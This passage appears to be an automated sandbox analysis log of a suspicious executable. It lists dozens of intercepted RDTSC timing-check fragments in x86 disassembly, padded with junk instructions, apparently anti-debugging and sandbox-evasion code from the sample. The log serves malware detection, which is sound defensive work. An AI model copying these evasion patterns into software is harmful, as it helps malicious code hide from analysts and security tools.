Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3F4058 second address: 3F4072 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F5A95268F16h 0x00000008 je 00007F5A95268F16h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 js 00007F5A95268F1Eh 0x00000016 push eax 0x00000017 pop eax 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 38BB6B second address: 38BB83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push edx 0x00000006 jl 00007F5A952DFC66h 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e pop edx 0x0000000f pushad 0x00000010 jnc 00007F5A952DFC66h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 38BB83 second address: 38BB89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 38BB89 second address: 38BBBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a je 00007F5A952DFC7Eh 0x00000010 jmp 00007F5A952DFC72h 0x00000015 je 00007F5A952DFC66h 0x0000001b jmp 00007F5A952DFC6Eh 0x00000020 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3F9B95 second address: 3F9B9F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F5A95268F16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 38F1BC second address: 38F1C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 38F1C1 second address: 38F1C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3FEACD second address: 3FEAEA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A952DFC78h 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3FEDC1 second address: 3FEDC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3FF093 second address: 3FF0A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5A952DFC6Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3FF0A5 second address: 3FF0A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3FF0A9 second address: 3FF0D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 jmp 00007F5A952DFC6Bh 0x0000000e jmp 00007F5A952DFC77h 0x00000013 pop edi 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 4045C9 second address: 4045D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F5A95268F16h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 4045D5 second address: 4045DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 4045DB second address: 4045EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 jbe 00007F5A95268F4Eh 0x0000000c push eax 0x0000000d push edx 0x0000000e jbe 00007F5A95268F16h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 4045EF second address: 40460C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A952DFC76h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3D89CA second address: 3D89D4 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3D8AA6 second address: 3D8AAC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3D8AAC second address: 3D8AB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F5A95268F16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3D8DED second address: 3D8DF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3D8FA9 second address: 3D8FE8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A95268F20h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c cmc 0x0000000d push 00000004h 0x0000000f mov dword ptr [ebp+122D321Fh], ebx 0x00000015 nop 0x00000016 jl 00007F5A95268F23h 0x0000001c jmp 00007F5A95268F1Dh 0x00000021 push eax 0x00000022 push eax 0x00000023 push edx 0x00000024 jo 00007F5A95268F18h 0x0000002a push ecx 0x0000002b pop ecx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3D94A6 second address: 3D94AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3D9703 second address: 3D977A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp], eax 0x00000008 push 00000000h 0x0000000a push esi 0x0000000b call 00007F5A95268F18h 0x00000010 pop esi 0x00000011 mov dword ptr [esp+04h], esi 0x00000015 add dword ptr [esp+04h], 0000001Dh 0x0000001d inc esi 0x0000001e push esi 0x0000001f ret 0x00000020 pop esi 0x00000021 ret 0x00000022 mov edx, dword ptr [ebp+122D2527h] 0x00000028 jmp 00007F5A95268F26h 0x0000002d lea eax, dword ptr [ebp+1248E354h] 0x00000033 push 00000000h 0x00000035 push edi 0x00000036 call 00007F5A95268F18h 0x0000003b pop edi 0x0000003c mov dword ptr [esp+04h], edi 0x00000040 add dword ptr [esp+04h], 00000014h 0x00000048 inc edi 0x00000049 push edi 0x0000004a ret 0x0000004b pop edi 0x0000004c ret 0x0000004d and dx, 2CFEh 0x00000052 nop 0x00000053 push eax 0x00000054 push edx 0x00000055 push eax 0x00000056 push edx 0x00000057 push ebx 0x00000058 pop ebx 0x00000059 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3D977A second address: 3D977E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3D977E second address: 3D9784 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3D9784 second address: 3D97A2 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F5A952DFC6Dh 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e js 00007F5A952DFC68h 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3D97A2 second address: 3D981A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A95268F21h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a sub dword ptr [ebp+122D1B85h], edx 0x00000010 lea eax, dword ptr [ebp+1248E310h] 0x00000016 call 00007F5A95268F1Ah 0x0000001b or edi, dword ptr [ebp+122D3888h] 0x00000021 pop ecx 0x00000022 nop 0x00000023 jmp 00007F5A95268F28h 0x00000028 push eax 0x00000029 pushad 0x0000002a jmp 00007F5A95268F22h 0x0000002f push eax 0x00000030 push edx 0x00000031 jmp 00007F5A95268F26h 0x00000036 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3D981A second address: 3D981E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3D981E second address: 3BC690 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 mov edx, dword ptr [ebp+122D39B8h] 0x0000000e call dword ptr [ebp+122D2C40h] 0x00000014 pushad 0x00000015 jmp 00007F5A95268F1Ah 0x0000001a push edx 0x0000001b jmp 00007F5A95268F29h 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3BC690 second address: 3BC6A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 push esi 0x00000007 push ebx 0x00000008 je 00007F5A952DFC66h 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 403A13 second address: 403A38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F5A95268F16h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c popad 0x0000000d jmp 00007F5A95268F28h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 403A38 second address: 403A3E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 403A3E second address: 403A42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 403A42 second address: 403A46 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 403BB8 second address: 403BBC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 403E8F second address: 403EAA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A952DFC6Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jp 00007F5A952DFC6Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 403EAA second address: 403EAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 403EAE second address: 403EB8 instructions: 0x00000000 rdtsc 0x00000002 js 00007F5A952DFC6Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 403EB8 second address: 403EC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 jbe 00007F5A95268F1Eh 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 40403B second address: 404044 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 404044 second address: 404053 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5A95268F1Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 4041A3 second address: 4041D5 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F5A952DFC66h 0x00000008 jng 00007F5A952DFC66h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 jg 00007F5A952DFC66h 0x00000017 jne 00007F5A952DFC66h 0x0000001d jmp 00007F5A952DFC73h 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 4041D5 second address: 4041E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 4041E0 second address: 4041E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 4041E6 second address: 4041EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 4041EF second address: 4041F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 4041F3 second address: 4041FB instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 4041FB second address: 404203 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 pop edi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 404203 second address: 40420E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 40843C second address: 408442 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 40C384 second address: 40C388 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 40C388 second address: 40C38C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 40C4FE second address: 40C509 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push esi 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 40C509 second address: 40C524 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5A952DFC77h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 40C524 second address: 40C54D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F5A95268F24h 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 jl 00007F5A95268F16h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 40C54D second address: 40C552 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 40C69F second address: 40C6AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jne 00007F5A95268F16h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 40C979 second address: 40C999 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5A952DFC76h 0x00000009 jo 00007F5A952DFC66h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 40C999 second address: 40C99D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 40C99D second address: 40C9B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F5A952DFC74h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 40C0CB second address: 40C0DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pushad 0x0000000a jne 00007F5A95268F16h 0x00000010 push edi 0x00000011 pop edi 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 4141BA second address: 4141C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 4141C6 second address: 4141CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 4141CC second address: 4141E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5A952DFC73h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 4141E5 second address: 4141EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 4147DF second address: 4147EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F5A952DFC66h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 4147EB second address: 4147EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 414DCE second address: 414DD8 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F5A952DFC66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 414DD8 second address: 414DE9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5A95268F1Bh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 414DE9 second address: 414DED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 414F5F second address: 414F7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jns 00007F5A95268F1Ch 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 pushad 0x00000012 popad 0x00000013 pop edi 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 414F7F second address: 414F97 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A952DFC72h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 4150E1 second address: 4150E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 4150E5 second address: 41510A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5A952DFC74h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c jc 00007F5A952DFC7Ah 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 417CA1 second address: 417CB2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A95268F1Dh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 41ACF1 second address: 41AD00 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F5A952DFC66h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 41AD00 second address: 41AD19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 pushad 0x00000008 push eax 0x00000009 pop eax 0x0000000a js 00007F5A95268F16h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jnp 00007F5A95268F16h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 41AD19 second address: 41AD1D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 394352 second address: 394356 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 395EB5 second address: 395EBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 41EA74 second address: 41EA7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 41EA7A second address: 41EA80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 41EA80 second address: 41EA96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F5A95268F21h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 41EFDA second address: 41EFDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 41EFDF second address: 41EFF2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 jg 00007F5A95268F16h 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 push ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 41F158 second address: 41F15C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 41F15C second address: 41F160 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 41F160 second address: 41F166 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 42432D second address: 424331 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 424481 second address: 424489 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 4245B7 second address: 4245CD instructions: 0x00000000 rdtsc 0x00000002 jl 00007F5A95268F28h 0x00000008 jmp 00007F5A95268F1Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 424873 second address: 424881 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5A952DFC6Ah 0x00000009 rdtsc
